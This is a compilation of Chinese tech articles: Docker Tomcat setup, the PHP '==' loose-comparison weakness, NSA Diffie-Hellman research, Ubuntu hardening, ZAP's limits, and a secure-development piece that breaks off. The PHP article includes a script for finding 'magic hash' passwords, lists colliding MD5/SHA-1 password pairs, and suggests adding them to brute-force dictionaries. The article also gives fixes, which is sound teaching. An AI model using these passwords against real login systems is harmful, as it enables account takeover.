Docker 笔记一:安装Tomcat

 

docker pull tomcat

Run the default Tomcat server (CMD ["catalina.sh", "run"]):

$ docker run -it --rm tomcat:8.0

You can test it by visiting http://container-ip:8080 in a browser or, if you need access outside the host, on port 8888:

$ docker run -it --rm -p 8888:8080 tomcat:8.0

You can then go to http://localhost:8888 or http://host-ip:8888 in a browser.

The default Tomcat environment in the image for versions 7 and 8 is:

CATALINA_BASE:   /usr/local/tomcat
CATALINA_HOME:   /usr/local/tomcat
CATALINA_TMPDIR: /usr/local/tomcat/temp
JRE_HOME:        /usr
CLASSPATH:       /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar

The default Tomcat environment in the image for version 6 is:

CATALINA_BASE:   /usr/local/tomcat
CATALINA_HOME:   /usr/local/tomcat
CATALINA_TMPDIR: /usr/local/tomcat/temp
JRE_HOME:        /usr
CLASSPATH:       /usr/local/tomcat/bin/bootstrap.jar

The configuration files are available in /usr/local/tomcat/conf/. By default, no user is included in the “manager-gui” role required to operate the “/manager/html” web application. If you wish to use this app, you must define such a user in tomcat-users.xml.

 

If you want to map local file into the docker image, you can type following command with the parameter -v

docker run -p 8080:8080 -v /home/tomcat/webapps:/usr/local/tomcat/webapps -v /home/tomcat/conf:/usr/local/tomcat/conf -v /home/tomcat/work:/usr/local/tomcat/work tomcat

 

PHP中“==”运算符的安全问题

前言

PHP是一种通用的开源脚本语言,它的语法混合了C,Java,以及Perl等优秀语言的语法。除此之外,它还提供了大量的函数库可供开发人员使用。但是,如果使用不当,PHP也会给应用程序带来非常大的安全风险。

在这篇文章中,我们将会对PHP应用程序中经常会出现的一些问题进行深入地分析,尤其是当我们使用“==”(比较运算符)来进行字符串比较时,可能会出现的一些安全问题。虽然近期有很多文章都围绕着这一话题进行过一些探讨,但我决定从“黑盒测试”的角度出发,讨论一下如何利用这个问题来对目标进行渗透和攻击。首先,我会对引起这个问题的根本原因进行分析,以便我们能够更加深入地理解其工作机制,这样才可以保证我们能够尽可能地避免这种安全问题的发生。

问题的描述


在2011年,PHP官方漏洞追踪系统发现,当字符串与数字在进行比较的时候,程序会出现某些非常奇怪的现象。从安全的角度出发,这个问题实际上并不能算是一个安全问题。比如说,你可以看到下面这段代码:

php > var_dump('0xff' == '255');
bool(true)

实际上,当使用类似“==”这样的比较运算符进行操作时,就会出现这样的情况。上面这个例子中出现的问题不能算是一个漏洞,因为它是PHP所提供的一种名为“类型转换”的功能。从本质上来分析,当我们使用特定的比较运算符(例如== , !=, <>)来进行操作时,PHP首先会尝试去确定参与比较的数据类型。但是这样的一种类型转换机制将有可能导致计算结果与我们预期的结果有较大出入,而且也会带来非常严重的安全问题。安全研究专家在该问题的完整披露报告中写到:这种类型转化机制将有可能导致权限提升,甚至还会使程序的密码验证过程变得不安全。

Gynvael写过一篇关于这一话题的经典文章,PHP等号运算符“==”所涵盖的数据类型非常广泛,我们给大家提供了一个较为完整的比较参考列表,并给出了一些示例,具体内容如下所示:

"1.00000000000000001" == "0.1e1" → bool(true)
"+1"    == "0.1e1" → bool(true)
"1e0"   == "0.1e1" → bool(true)
"-0e10" == "0" → bool(true)
"1000"  == "0x3e8" → bool(true)
"1234"  == "  	1234" → bool(true)

正如你所看到的,当我们使用“==”来比较这些数字字符串时,参与比较的就是字符串中数字的实际大小,从安全的角度出发,这就是一个非常有趣的问题了。在这种情况下,你可以使用科学计数法来表示一个数字,并将其放在一个字符串中,PHP将会自动把它作为一个数字类型来处理。我们之所以会得到这样的输出类型,是因为PHP使用了一种哈希算法(通常使用十六进制数值表示)来进行处理。比如说,如果一个数字为0,那么在进行松散比较的过程中,PHP会自动对其类型进行转换,但其值永远为0。对于一个给定的散列算法而言,密码就有可能会变成可以被替换的了。比如说,当密码的哈希值被转换成使用科学计数法来表示的数字时,将有可能正好与其他的密码哈希相匹配。这样一来,即使是一个完全不同的密码,也有可能可以通过系统的验证。但有趣的是,当某些采用科学计数法表示的数字在进行比较的时候,结果可能会让你意想不到:

"18372e0" == "492372e0000" → bool(false)
"2e6" == "8e2" → bool(false)

从“黑盒测试”的角度出发来考虑这个问题

从静态分析的角度来看,这些安全问题就显得有些普通了。但如果我们从黑盒的角度来看待这些问题,我们能够得到什么样的启发呢?对于应用程序中的任何用户账号而言,如果应用程序使用了当前最为流行的哈希散列算法(例如SHA1和MD5)来对密码进行处理,而你在对密码哈希进行验证的时候使用了PHP的松散比较,那么此时就有可能出现安全问题。我们现在可以考虑进行一次典型的渗透测试,你可以创建一个普通的账号,将密码设置成哈希值类似的其中一个密码,然后使用其他的密码进行登录操作。很明显,系统的安全性完全取决于你所使用的散列算法。所以,我们假设你没有在散列算法中使用“Salt”值,那么你至少得使用两种不同的散列算法来对密码进行处理。

现在,在我们去对这些密码组合进行研究之前,我们还应该考虑到一点——即密码的要求。因为我们在对这些密码和散列算法进行分析之前,首先得确保我们所设置的初始密码复合了密码复杂度的要求,否则我们的分析和研究将会没有任何的意义。因此,我们得确保我们的密码长度至少为八个字符,密码中包含有大小写字母,数字,以及至少一个特殊字符:具体如下所示:

import random
import hashlib
import re
import string
import sys
prof = re.compile("^0+ed*$") # you can also consider: re.compile("^d*e0+$")
prefix = string.lower(sys.argv[1])+'!'+string.upper(sys.argv[1])+"%s"
num=0
while True:
    num+=1
    b = hashlib.sha256(prefix % num).hexdigest()
    if (b[0]=='0' and prof.match(b)):
        print(prefix+str(num),b)

为此,我专门编写了一个Python脚本,虽然我没有竭尽全力去优化这个脚本的性能,但是在PyPy编译器的帮助下,这个精心编写的脚本可以在我的AMD FX8350所有可用的CPU核心中稳定运行。除此之外,我还使用到了hashlib库中的散列函数,而且为了避免遇到Python GIL的进程同步问题,我还生成了独立的进程来对密码数据进行处理。不仅如此,我还使用了非常复杂的技术来为每一个密码生成不同的前缀,正如上面这段代码所示。

分析结果


在经过了一个多小时的分析之后,我得到了四个密码的SHA1值。令我感到惊讶的是,得到四个密码的MD5值所需的时间竟然更短。

密码的计算结果十分相似,具体如下所示:

MD5
word	hash
c!C123449477	0e557632468345060543073989263828
d!D206687225	0e749889617409631915178731435707
e!E160399390	0e680455198929448171766997030242
f!F24413812	0e666889174135968272493873755352

SHA-1
word	hash
aA1537368460!	0e98690883042693380036268365370177656718
aA3539920368!	0e80128521090954700858853090442722395969
cC6593433400!	0e65495612893131014886449602893230063369
fF3560631665!	0e49205137236861153120561516430463247071

你可以随意选取两个密码来进行对比,对比的演示结果如下:

php > var_dump(md5('c!C123449477') == md5('d!D206687225'));
bool(true)
php > var_dump(sha1('aA1537368460!') == sha1('fF3560631665!'));
bool(true)

如果你无法得到如上图所示的计算结果,那么你应该感到幸运。你可以尝试将用户名和密码捆绑在一起,然后使用带“salt”值的散列算法来进行计算。你只需要修改一小部分代码即可实现,点击“这里”获取修改后的脚本。

解决方案


PHP给我们提供了一个解决方案,如果你想要对比哈希值,你应该使用password_verify()或hash_equals()这两个函数。它们会对数据进行严格比较,并排除一些其他的干扰因素。但是请你注意,hash_equals()函数也可以用于字符串的比较。

分析结论


虽然我们的分析步骤执行起来有些过于复杂,但是从黑盒测试的角度出发,我们所描述的方法也许可以给大家提供一些有价值的信息。如果某个应用程序中的密码采用了这样的一种验证机制,那么它所带来的安全问题将会超出PHP数据类型转换本身所存在的问题。

问题远不止于此


这个问题给我们带来的影响远远不止于此。攻击者可以将这些密码添加到字典文件中,然后对应用程序中的所有用户进行暴力破解攻击。而且,如果应用程序的密码恢复机制中存在不安全的因素,攻击者还有可能对目标账号进行不限次数的攻击,直到攻击成功为止。

源代码


点击“这里”获取Python源码。

PHP中“==”运算符的安全问题,首发于文章 – 伯乐在线

NSA 是如何破解大量加密信息的?

近几年有谣言说 NSA 可以解密已加密网络中的大部分数据。在 2012 年,James Bamford 发布了一篇 文章,引用了匿名的 NSA 前成员的说法,他证实“NSA已经取得了计算力的突破性进展,他们有能力破解当前已公开的加密算法”。斯诺登公布的文档也暗指像一些额外的线索和文档显示,NSA已经建立了大量的基础设备来拦截和解密 VPN 流量,它至少能解密一些 NSA 想要知道的 HTTPS 和 SSH 连接。

然而,对于这些超前的工作是如何运作的,技术小组是如何判断后门或逻辑缺陷的等问题,这些文档都没有说明。2015 年 10 月 13 日,在 ACM CCS 会议的安全研究分会场,我们和 12 个同行发布了一篇技术谜题揭秘报告

Diffie-Hellman 秘钥交换算法,是我们推荐使用的防御监听的算法。它是现代密码学的基石,VPN、HTTPS 网站、邮件和许多其他的协议都用在 Diffie-Hellman。我们的报告显示,通过数理理论的交汇和糟糕的协议实现,许多现实世界里的 Diffie-Hellman 用户在面对国家级攻击时都是脆弱的。这个事实稍微有点讽刺。

如果读者里有技术狂人,就会发现一些问题:如果客户端和服务端要使用 Diffie-Hellman,它们首先需要协定一个特殊形式的大素数。为什么不能每个人都用同样的素数?似乎不用问什么原因。实际上,许多应用倾向于使用标准的或者硬编码的素数。但算法从数学家到实现者之间,会丢失一个非常重要的细节:攻击者可以执行一个单点大规模计算来破解大素数,使用该大素数的个人连接很容易丢失。

你要问计算量有多大?大概是整个二战时期破解英格玛的计算规模(相较于那时候的计算量而言)。甚至连估算难度都很棘手,因为这个算法涉及到的内容太复杂,但我们有论文给出了一些保守的估算。对于最常用的 Diffie-Hellman(1024位),花了几亿美元来建造专门的破译机器,这能够每年破解一个 Diffie-Hellman 素数。

对情报机构而言,这值得么?一旦少量的大素数被滥用,那他们可解密的连接,将会很可观。破译一个通用的 1024 位大素数,将让NSA 能解密全球三分之二的 VPN 和四分之一的 SSH 服务器。破解两个1024 位大素数,将能够被动监听上百万个 HTTPS 网站中的20%。总而言之,在大规模计算上的一次投资,使它能够监听数以兆计的加密连接。

NSA 能够负担这些投资。在斯诺登泄露的部分文件里,有一份 2013 年的黑色预算的申请,文件显示 NSA 已经将“发展突破性的密码分析能力以打击敌对方密码系统和利用网络流量”提上了日程。它显示了 NSA 的预算大约一年有100 亿美元,其中超过 10 亿被用于计算网络技术开发和几个子项目中。

基于我们已有的证据来说,我们无法确切证明 NSA 已经完成了。然而,我们提出的 Diffie-Hellman 攻击方式,相较于其他可能性,更能解释在当前已知的技术水平下如何获得大规模破解的能力。例如,斯诺登发布的文档显示了 NSA 的 VPN解密设施 通过拦截加密连接,并使用超级计算机计算已知数据来得到密钥。这套系统的设计不遗余力的收集必要的特殊数据,为攻击 Diffie-Hellman 做准备。但它不适合 AES 或其他对称加密算法。这份文档清晰是显示了 NSA 使用其他类似软硬件“移植”的技术来破解特殊目标的加密算法,但这些并没有解释 NSA 大规模被动监听 VPN 信道的能力。

一旦 Diffie-Hellman 这种不牢靠的使用方式在标准和实现中被滥用,这个问题将会影响到许多年后,甚至给现有的安全推荐和我们新的调查带来影响。与此同时,其他强大的政府也有可能实现类似的攻击,假设他们还没那么做的话。

我们的调查阐明了 NSA 两项任务间的矛盾,收集情报和保卫美国网络安全。假如我们的猜想是正确的,情报机构已经掌控了弱 Diffie-Hellman,帮忙修正这个问题仅是小小的一步而已。在防守方,NSA 推荐大家应该向椭圆曲线密码学过渡,椭圆曲线密码学没有已知的漏洞,但这一推荐在没有明确推论或证明的情况下,就被大多数人忽略了。这个问题太复杂,因为安全通过采取 NSA 推荐,表面上价值不高。看看这这个显而易见的影响:后门密码标准

这种状况让人人的安全都处于危险中。这种规模的漏洞是不加区别地影响着大家的安全,包括美国公民和公司,但我们希望,能有一种更清晰的技术,来了解 ZF 监控背后的密码机制,为大家能有更好的安全。

更多详情,请见我们的研究论文:《Imperfect Forward Secrecy: How Diffie-Hellman Fails in Practice》(更新:我们这篇论文获得了CCS 2015 最佳论文奖!)

J. Alex Halderman 是密歇根大学计算机科学与工程的助理教授,密歇根计算机安全和社会中心的主管。

Nadia Heninger 是宾夕法尼亚大学计算机与信息科学系助理教授。

NSA 是如何破解大量加密信息的?,首发于文章 – 伯乐在线

10 分钟服务器安全设置,Ubuntu安全设置入门

Bryan Kennedy 的《5分钟服务器安全设置》很好地介绍了对多数服务器攻击的防御对策。我们对他的方法做了一些修改,记录下来,作为推广我们的流程和最佳实践的一部分。还增加一些额外的解释,年轻的工程师们应该可以从中受益。

我每天上午检查 logwatch 邮件的时候,看到那些成百上千的登录尝试,几乎没有成功的,完全就像是一种享受。(有很多非常令人无语,比如用 1234 做 root 密码反反复复的登录)。这篇入门文章适用于 Debian/Ubuntu服务器,这是我们最喜欢的服务器发行版,通常我们这些服务器只是作为 docker 容器的宿主机,不过原理仍然适用。下一次我们再深入讲解如何保护专门用作 docker 宿主机的服务器。

在大规模系统上,当然最好是用 AnsibleShipyard 这类工具完全自动化配置。不过偶尔的,你只是搭建一台独立服务器或为一个 Ansible recipe 准备基准设置,这就是本文要涵盖的内容。

声明:本文仅仅是入门和基础,你需要根据自己的需求来扩展。

重要的事先说

我们还没给 root 设密码呢,密码要随机、要复杂。我们用一种密码管理软件的密码生成器,调至最复杂设定。PW 管理软件将密码加密保存,并且由一个很长的主密码保护着。这里提供了多项冗余措施——长、复杂、随机的密码 + 加密保存/另一个长密码保护。不管你是用 PW 管理软件或其他手段,要妥善保管密码并且要加密保存。你只有在忘了 sudo 密码时才会用到这个密码。

# passwd

* 注:在 HNRedit 上有很多关于 root 密码的讨论,值得一读。

下一步就需要更新软件库并升级系统、应用最新的补丁。我们后面有个章节专门介绍如何自动安装安全更新。

apt-get update
apt-get upgrade

添加用户

永远不要以 root 登录服务器。在用户名方面我们跟 Bryan 遵循类似的惯例,但是你可以根据自己的喜好使用任何惯例。在小团队里,大家共用一个用户名不是问题;但是队伍再大一些的话,最好是给不同的用户设定不同的权限级别,只给精心挑选的少数用户赋予 sudo 权限。

useradd deploy
mkdir /home/deploy
mkdir /home/deploy/.ssh
chmod 700 /home/deploy/.ssh

给用户 deploy 配置你喜欢的 shell,这里我们用 bash:

usermod -s /bin/bash deploy

记住, chmod 700 表示“所有者可以读、写、执行”。我们现在还在 root 帐号下,马上就要将此文件夹设为属于 deploy 用户和 deploy组,只有这个用户对  .ssh 文件夹有完全控制权。

使用 ssh key 验证

我们倾向于避免用密码登录服务器。Bryan 当初那份指南发表后,关于这个话题有很多讨论,但我愿意加入这个阵营。下面是一些要点:

  1. ssh keys 比密码更好,因为它包含并要求更多信息;
  2. 密码可以被暴力破解,猜测一个公钥基本上不可能,可以认为是完美的安全措施;
  3. 电脑丢失了怎么办?是的,你的私钥到了别人手里。不过废除 ssh-key 很容易,只需要将公钥从 authorized_keys 里删除。你还应该给你的私钥加上安全的、足够长的密码短语。见下一条;
  4. 以上这些都好用的前提是:必须用安全的、足够长的密码短语来保护你的私钥。重要的事情至少说两遍。

好了,我们把服务器密码验证抛到脑后吧。把你电脑里的 id_rsa.pub 的内容复制到服务器的 authorized keys 文件里。

vim /home/deploy/.ssh/authorized_keys

我们基于 Linux 安全性的“最少特权原则”来设置正确的权限:

chmod 400 /home/deploy/.ssh/authorized_keys
chown deploy:deploy /home/deploy -R

chmod 400 将文件权限设为“仅所有者可读”。第二个命令 chown ,使用户 deploy 和 组 depoly 成为它们家目录的所有者。我们先前提到过这个,记得吗?在设这这个目录权限为“所有者可以读、写、执行”的时候。

我们顺利测试 deploy 用户并设置 sudo 之后,再回来禁止 root 登录和强制实行仅密钥认证。

测试 deploy 用户、设置 sudo

我们来测试一下用 deploy登录,同时不要关闭 root 帐号的 ssh 连接以备万一。如果没有问题,我们就用 root 用户给 deploy 设置密码,因为我们没会禁用密码登录,这个密码是 sudo 的时候用的。还是用一个密码管理器来生成一个复杂随机的密码、加密保存、在团队中共享(同步加密的 pw 文件)。

passwd deploy

设置 sudo 很简单,用这个命令打开 sudo 文件:

visudo

如下,在 root 用户下面添加 %sudo 组(在sudo文件里,用户名没有前缀,组名需要用 %前缀)。确保用 # 注释掉其他任何用户和组,新安装的系统一般不会有,但还是确认一下好。

root    ALL=(ALL) ALL
%sudo   ALL=(ALL:ALL) ALL

然后把 deploy 用户添加到 sudo 组。

usermod -aG sudo deploy

deploy 现在具备了sudo 权限,一般来说你需要退出并重新登录来使用这个权限,不过有个避免这个步骤的小伎俩:

exec su -l deploy

这个命令为 deploy 用户启动了一个新的交互 shell,并带有了 sudo 组的新权限。你需要输入 deploy 的密码,但是感觉上比注销再登录回来能更快些。「译者注:这个感觉我没有 😉 」

编辑注释:
感谢 Reddit 上的 ackackacksyn 指出来,不应该直接把用户加到 sudoer (即sudo file),而是要加入到具备 sudo 权限的组,文章已经按此修改。
感谢 /r/netsec 的 FredFS456 指出来,需要注销并重新登录才能使新加入的组权限生效,文章已经按此修改。

强制 ssh 密钥登录

服务器的 ssh 设置在这里:

vim /etc/ssh/sshd_config

你需要修改或添加下面这几行,我觉得它们相当的简单明了。你可以填上你用来登录的 IP ,我们有个用 OpenVPN 搭建的公司 VPN 服务器,带加密验证的,所以为了连接到服务器,你必须首先连上 VPN 。

PermitRootLogin no
PasswordAuthentication no
AllowUsers deploy@你的VPN或固定IP
AddressFamily inet

重新启动 ssh 服务来让这些规则生效,你很可能需要重新连接(这回就用 deploy 用户吧!)

service ssh restart

* 注:感谢 HN 上的 raimue 和 mwpmaybe 指出来,我们在后面要安装的 fail2ban现在还不支持 IPv6,所以我在 ssh_config 里添加了 AddressFamily inet 这一行,意思是只允许 IPv4。

设置防火墙

这里有两个阵营,一个直接使用 iptables,另一个使用一款叫做 ufw 的简便接口(在 iptables 之上的一个层,目的是简化操作)。对安全来说,简单化通常是更好的,DigitalOcean ufw 真心不错而且绝不只是个基本工具。

Ubuntu 上 ufw 是默认安装的,在 Debian 上只需要执行一下 sudo apt-get install ufw 。

默认情况下 ufw 应该拒绝一切入站连接、允许全部出站连接,但是这行不通(那样的话你怎么连进来呢?)。我们来一步步地显式允许我们视为OK的连接。

首先我们需要保证支持 IPV6 ,只需打开配置文件:

vim /etc/default/ufw

允许 IPv6

IPV6=yes

其它要打开的端口我们用 ufw 工具在命令行添加,这非常方便:

sudo ufw allow from 你的IP to any port 22
sudo ufw allow 80
sudo ufw allow 443
sudo ufw disable
sudo ufw enable

第一个命令是个冗余措施,保证只有从我们的 IP 才能连接 ssh标准端口,第二个和第三个用来打开 http 和 https 。

注:感谢 chrisfosterelli 指出来,如果你要设置第一条规则(你应该),要确保你有个固定 IP 或安全的 VPN,动态 IP 会在某天把你锁到服务器外面。[ 译者注:这是废话,但比较贴心,呵呵 ]

自动应用安全更新

我喜欢这个,安全更新并不完美,但及时安装补丁还是更好些。

apt-get install unattended-upgrades
vim /etc/apt/apt.conf.d/10periodic

照下面的例子编辑文件10periodic :

APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Download-Upgradeable-Packages "1";
APT::Periodic::AutocleanInterval "7";
APT::Periodic::Unattended-Upgrade "1";

我基本同意 Bryan 的说法,禁用普通更新,只启用安全更新。因为你不希望一个应用在你毫无察觉的时候 down 掉,只是因为某个软件包被更新了。相反,安全更新很少在应用程序方面产生噩梦般的依赖问题。

vim /etc/apt/apt.conf.d/50unattended-upgrades

这样修改文件:

Unattended-Upgrade::Allowed-Origins {
    "Ubuntu lucid-security";
    //"Ubuntu lucid-updates";
};

到这里你已经准备就绪了。

fail2ban

1087378

Fail2ban 软件包主动拦阻可疑行为。根据官方 wiki,Fail2ban 扫描日志文件(比如:/var/log/apache/error_log ),通过在 iptables 添加规则来阻止那些有恶意迹象(多次密码错误,探寻漏洞等…)的 IP。

Fail2Ban 自带多种协议过滤器(HTTPS, STMP, SSH等),它还与 ApacheNginx等众多服务集成,提供一定程度的 DDoS 或暴力破解防护。不过使用的时候要小心,因为封堵 DDoS 攻击的源地址,可能也会阻止正常用户一段时间。它带有大量的配置选项,包括集成SendMail,当某个 IP 被封堵时发出邮件通知。你尽可以点击上述这些链接,看看哪些选项对你的胃口。

我们来安装这个软件,作为开始,只用默认配置来保护 ssh:

apt-get install fail2ban

双重认证

构建任何敏感系统时,双重认证(2 Factor Authentication, 2FA)不是额外的要求,而是必须的。理论上,如果你强制启用 2FA (加上以上所有措施),那么为了登录你的服务器(应用程序漏洞除外),攻击者必须:

  1. 获得你的证书来登录VPN
  2. 获得你的电脑、拿到你的私钥
  3. 获得你私钥的密码短语
  4. 获得你的电话以遍完成双重认证

这就需要跨越不少的障碍了,即使都得手了,攻击者还是需要 deploy 用户的密码才能通过 sudo 获得 root 权限,而密码可是用 AES 加密保存的。

安装这个软件包

apt-get install libpam-google-authenticator

运行这个命令来设置,根据提示配置:

su deploy
google-authenticator

2FA非常简单,而且增加了很强的一层安全性。

Logwatch

这不仅仅是个简单的小快乐和监控工具,用来事后查看服务器发生了什么。Logwatch 监控你的日志文件,经过配置后,它可以每天发送格式精美的报告邮件。邮件内容看起来非常有喜感,你会惊讶每天有那么多要进入你服务器的企图。我装这个软件包没有别的原因,就是给团队显示一下好的安全性配置有多么重要。

DigitalOcean 有一篇关于 logwatch 安装配置的详细文档,但是如果时间限制在 10 分钟以内,我们只会完成安装,然后配置 cron 计划任务来每天发送邮件。

apt-get install logwatch

添加 cron 计划任务

vim /etc/cron.daily/00logwatch

把这一行加进去:

/usr/sbin/logwatch --output mail --mailto you@example.com --detail high

完工!

好啦,完成这一切之后,你的主要漏洞关注点将是你的应用程序和服务,这完全是另一盘菜了。

10 分钟服务器安全设置,Ubuntu安全设置入门,首发于文章 – 伯乐在线

用了ZAP,你的软件就安全了吗?

近来几年,很多大型网站频发安全事件,比如2011年众所周知的CSDN密码泄露事件,2014年eBay也因受到攻击造成用户密码和个人数据泄露,Web安全逐渐进入人们的视野,安全测试也逐渐成为了软件测试中非常重要的一部分。

提到安全测试,很多人应该都会想到ZAP,ZAP(Zed Attack Proxy)是OWASP提供的一款免费Web安全漏洞扫描工具,用户可以通过设置浏览器和ZAP的Proxy,在开发过程或测试过程中自动检测Web应用程序是否存在安全漏洞,ZAP还会提供扫描结果的风险等级,修复建议以及一些参考文档,下图就是ZAP扫描后的一个用户界面。

ZAP

除了自动扫描功能,ZAP也支持手动安全测试,通过在数据发送到服务器之前手动修改请求信息来测试Web应用程序是否存在安全漏洞。

很多人会有这样的疑惑,ZAP能否扫描出所有的安全漏洞?ZAP扫描出的安全漏洞和安全等级是否可靠?用了ZAP,软件是不是就安全了?

ZAP局限性

首先虽然ZAP的自动扫描功能非常强大,但对于OWASP Top 10中的某些项或者Top 10以外的一些安全漏洞,想要通过ZAP扫描检测出来是非常困难的,比如Top 10中的A5 “Security Misconfiguration” 就很难通过扫描检测出来,所以ZAP所能扫描到的安全漏洞只是OWASP Top 10的一个子集。

其次,ZAP扫描后的安全报告,还是需要结合实际项目进行分析才能确定其有效性和安全等级,比如我们在项目中曾经用ZAP扫描出了 “Cookie set without HttpOnly flag” 的安全隐患,推荐的解决方案是将所有的Cookie都设置成HttpOnly,但现实的情况是项目中前端AJAX需要携带这个Cookie来给后端发送请求,如果设置了这个flag,那么我们正常的请求也会失败,所以这个漏洞对我们来说就是无效的,或者说我们是不应该修复的。

另外因为Web应用程序往往比较复杂,会有很多组成部分,比如前端、服务器端、数据库等,各层分别使用了不同的框架、语言,而且经常会引入一些第三方的库、框架或者模块,每一个环节都有可能存在安全隐患,所以仅仅依赖ZAP是不够的,比如针对第三方组件的安全测试,就可以借助OWASP提供的另外一款工具Dependency Check。

通过分析实际项目中发现的安全问题,我们发现缺陷大体上如下分布:

Defects分析

安全问题可以归为两大类:

  • 一类是比较有共性的,即可以抛开业务上下文,软件之间共通的一些问题,常见的比较严重的安全隐患,如XSS攻击,CSRF攻击等,ZAP可以帮我们扫描出大多数的问题。
  • 另一类是针对业务需求的,比如非授权的账户是否不能访问/修改他们没有权限的信息等等,对于这一类问题,离开具体的业务上下文,是很难测试的,因为什么样的用户具有什么样的权限往往是业务领域的知识,换句话说,这一类问题的测试重点是看正常的用户能否按照业务需求所期望地正常使用系统,怎么区分evil user并阻止其对系统的使用和破坏,需要很强的业务背景。

举一个简单的例子,比如一个Web系统有两种角色,管理员和普通账户,业务需求是管理员可以修改所有人的所有信息,普通账户只能看到和修改自己的信息,如果普通账户张三可以通过一些非正常手段修改李四的信息,或者非系统的用户(evil user)通过某些方式可以看到系统内账户的个人信息,这些都是严重的安全缺陷,而且这一类的缺陷所占比率比较大,但是都没有办法通过ZAP扫描出来,也没有办法脱离对业务知识的了解来进行测试。

安全内建

ZAP扫描,针对业务上下文的用户权限测试(不能局限于界面,还要通过其他一些方式比如修改请求)以及evil user的用户场景测试,可以覆盖绝大多数的Web安全缺陷,但是正如我们没有办法将质量注入一个已经成型的产品一样,安全也是同样的道理。

如果我们在软件已经编码完成之后再引入安全检查和测试,那么软件的安全质量已经确定,后期的修复只能解决已经发现的安全漏洞,不能让软件更加安全,而且对于这些安全缺陷,发现得越晚,修复的成本就会越高。

所以为了开发安全质量较高的产品,除了选择好的工具以及增加业务背景下的安全测试,还非常有必要将安全检查和测试提前,在软件开发各个过程中引入安全实践。

微软提出的SDL(Security Development Lifecycle)就是这样的理念,SDL提出了很多软件开发过程中非常好的的安全活动,比如需求分析阶段的“最小权限原则”,开发阶段“弃用不安全的函数”,以及测试阶段可以使用“模糊测试”等等,其核心理念就是将软件安全的考虑集成在软件开发的每一个阶段,从需求,设计,编码,测试,到最后的发布整个过程中,下图是一个简化版的SDL流程图,完整的SDL还包括前期的培训,发布后的响应等:

SDL

ThoughtWorks提出的BSI(Build Security In),即安全内建,强调的也是安全提前的理念,结合敏捷软件开发实践,将安全融入到用户故事的生命周期中,引入安全验收条件, 不同角色(业务人员、开发人员,测试人员以及客户)在用户故事的每个阶段对安全验收条件进行沟通,检查,验证,确保在用户故事交付之前满足了定义的安全验收条件,下图就是用户故事的生命周期图以及在各个阶段哪些角色会参与哪些安全活动的一个简单介绍:

QQ20160405-0@2x

在保证用户故事满足了安全需求的基础上,基于迭代/发布还会有一些整体的功能级别的验证,做到真正的安全内建。

以上两种理念强调的都是把安全作为跟功能一样重要的考虑因素,在软件开发的各个阶段进行沟通和反复验证,很多实践经验也表明,将安全活动作为软件开发过程的一部分来执行,其安全效益要大于临时的或者零散的安全活动。

结论

所以从安全测试的选择来看,我们不能单一依赖某种工具,比如ZAP扫描,而应该多加入一些基于业务需求的安全测试,多从攻击者的角度思考问题,更重要的是,可靠的安全测试只能避免安全漏洞造成更大的危害和影响,并不能打造安全的产品,真正的安全产品必定需要整个软件开发过程中每个环节的保障,需要从业务分析阶段就将安全作为重要的考虑因素,将安全实践融入到整个软件开发过程中,所有角色共同参与,这样才能做到真正的安全内建。

用了ZAP,你的软件就安全了吗?,首发于文章 – 伯乐在线

内建安全的软件开发

1. 传统安全实践面临着严峻的挑战

随着互联网应用、移动应用爆发式的增长,伴随而来的黑客攻击事件也是层出不穷。仅在过去的2015年里,被公开报道的数据泄露安全事件就有约3930起,将近7.36亿条数据被泄漏。显而易见的是,如果某家企业被爆出安全问题,对企业造成的影响不仅仅只是名誉、财务上的损失,还会遭受法律诉讼,陷入竞争不利的局面。安全已经是企业不可忽视的问题。

近年来,黑客攻击的趋势已经发生了显著的改变,由最初的针对网络、操作系统以及服务器的攻击,已经转变为针对应用程序的攻击。根据Garnter的调研报告显示,有将近80%的安全漏洞发生在应用层。为了应对新的安全威胁,企业也做出了各种尝试,例如为员工提供安全培训、设立安全规范文档、部署Web应用防火墙、建立安全监控中心、利用安全渗透测试寻找安全漏洞等等。经过一些列的努力,取得的成果也是比较显著的,例如老生常谈的SQL注入攻击,其全球范围内的漏洞数量呈现出了非常显著的下降趋势,如图1-1所示。

image_0

图 1-1 SQL 注入漏洞数量趋势

然而并不是所有发生在应用程序中的安全漏洞的数量都得到了有效抑制,例如跨站脚本攻击漏洞的数量似乎并不受安全措施数量的影响,如图1-2所示。

image_1

图 1-2 XSS 漏洞数量趋势

一个现象是,企业为应对应用安全问题采取了各种措施,虽然有一定成效但是也有或多或少的问题,如图1-3所示,随着安全措施数量的增加,应用中的安全漏洞的数量不再显著减少。似乎无论如何努力,开发出来的应用中始终有安全漏洞。

image_2

图 1-3 安全措施和安全漏洞数量的关系

除此之外,企业还面临着更多的困境:

  • 安全漏洞总是很晚才被发现出来,造成的结果是安全漏洞的修复成本高昂。
  • 未能检查出隐藏在应用中的安全漏洞,含有安全缺陷的应用被发布到生产环境中,这将增加企业面临的安全风险。
  • 某些安全措施容易被误解为是团队的负担
  • 开发团队人员安全技能有所缺失,应用的安全性过度依赖于应用安全团队

2. 为何安全漏洞如此难以消除?

为消除安全漏洞,企业采取了不少措施,然而一个不争的事实是,企业主要依赖于Web应用防火墙(Web Application Firewall,下文简称WAF)和渗透测试(或安全审计)。然而问题在于,这两种措施固然有效,但是也存在着明显的不足。

2.1 WAF是把双刃剑

WAF主要的职责是阻挡攻击,为开发团队争取修复漏洞的时间。换言之,只要应用中存在安全问题的代码没有被修复,漏洞就会一直存在,一旦WAF规则被绕过,或者配置不当,反而会将应用置于更高的安全风险当中。此外,误报和漏报始终是WAF无法彻底解决的问题,与此同时,随着应用规模的扩大,业务逻辑复杂度的增加,对于WAF的管理维护难度也在不断增加。

2.2 渗透测试让企业面临两难的境地

渗透测试确实能发现安全漏洞,但是也存在着明显的不足。首先是太晚才能得到安全问题的反馈,因为通常而言,渗透测试会被安排在产品上线发布之前进行,此时如果检查出安全漏洞,企业反而会面临两难的境地:修复安全漏洞之后再发布产品,或者强行发布包含安全漏洞的产品。同修复业务缺陷一样,修复安全漏洞也是越晚修复成本越高,开发团队需要投入更多的时间和人力,而这可能导致产品推迟发布,错失市场机会;如果强行发布含有安全漏洞的产品,又将增加被黑客攻击利用的风险。

2.3 抛开现象看本质,问题的根源在于缺乏高效的安全反馈机制

